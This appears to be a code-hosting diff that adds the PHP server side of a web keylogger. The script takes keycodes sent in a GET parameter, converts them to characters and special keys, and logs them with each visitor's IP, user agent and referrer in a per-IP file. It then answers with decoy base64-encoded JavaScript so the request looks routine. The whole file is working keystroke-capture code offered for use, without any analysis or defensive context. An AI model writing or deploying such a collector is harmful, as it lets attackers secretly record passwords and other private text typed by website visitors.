|
| 1 | +<?php |
| 2 | +// User Information |
| 3 | +$timeStamp = date(DateTimeInterface::ATOM); //time (example: 2005-08-15T15:52:01+00:00) |
| 4 | +$ip = $_SERVER['REMOTE_ADDR']; //get ip address |
| 5 | +$agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown'; //get user agent of visitor |
| 6 | +$ref = $_SERVER['HTTP_REFERER'] ?? 'no referrer'; //get referrer |
| 7 | + |
| 8 | +// Prepare Log Entry |
| 9 | +$logentry = $timeStamp . " - IP: " . $ip . " | UserAgent: " . $agent . " | Referrer: " . $ref . "\r\n"; |
| 10 | + |
| 11 | +// File |
| 12 | +$filename = "keylog_" . $ip . "txt"; |
| 13 | + |
| 14 | +if (file_exists($filename) && is_readable($filename)) { |
| 15 | + $fh = fopen($filename, 'a'); |
| 16 | +} else { |
| 17 | + $fh = fopen($filename, 'w'); |
| 18 | +} |
| 19 | + |
| 20 | + |
| 21 | +if (isset($_GET["a"]) && array_key_exists('a', $_GET)) { |
| 22 | + // Append TimeStamp for the Log Entry |
| 23 | + fwrite($fh, $logentry); |
| 24 | + // Get the user input |
| 25 | + $keys = $_GET["a"]; |
| 26 | + |
| 27 | + // Remove leading zero from user input |
| 28 | + $keys = preg_replace("/\\b0*/", "", $keys); |
| 29 | + |
| 30 | + switch ($keys) { |
| 31 | + case "8": |
| 32 | + $keylog = "[<--]"; |
| 33 | + break; |
| 34 | + case "9": |
| 35 | + $keylog = "[TAB]"; |
| 36 | + break; |
| 37 | + case "13": |
| 38 | + $keylog = "[ENTER]"; |
| 39 | + break; |
| 40 | + case "17": |
| 41 | + $keylog = "[CTRL]"; |
| 42 | + break; |
| 43 | + case "18": |
| 44 | + $keylog = "[ALT]"; |
| 45 | + break; |
| 46 | + case "27": |
| 47 | + $keylog = "[ESC]"; |
| 48 | + break; |
| 49 | + case "35": |
| 50 | + $keylog = "[END]"; |
| 51 | + break; |
| 52 | + case "36": |
| 53 | + $keylog = "[HOME]"; |
| 54 | + break; |
| 55 | + case "": |
| 56 | + $keylog = "[SPACE]"; |
| 57 | + break; |
| 58 | + default: |
| 59 | + // Convert KeyCode to Letter (e.g. '65' → 'A') |
| 60 | + $keylog = (is_numeric($keys)) ? chr((int) $keys) : "[UNKNOWN:$keys]"; |
| 61 | + } |
| 62 | + |
| 63 | + fwrite($fh, $keylog."\n"); |
| 64 | +} |
| 65 | +// Close the file |
| 66 | +fclose($fh); |
| 67 | + |
| 68 | +// Return some BS JS code |
| 69 | +// base64 for = "var test ='ooool'; console.log(test);" |
| 70 | +$data = base64_decode('dmFyIHRlc3QgPSdvb29vbCc7IGNvbnNvbGUubG9nKHRlc3QpOw=='); |
| 71 | + |
| 72 | +header('Content-Type: text/javascript; charset=utf-8'); |
| 73 | +echo json_encode($data); |
| 74 | +?> |
0 commit comments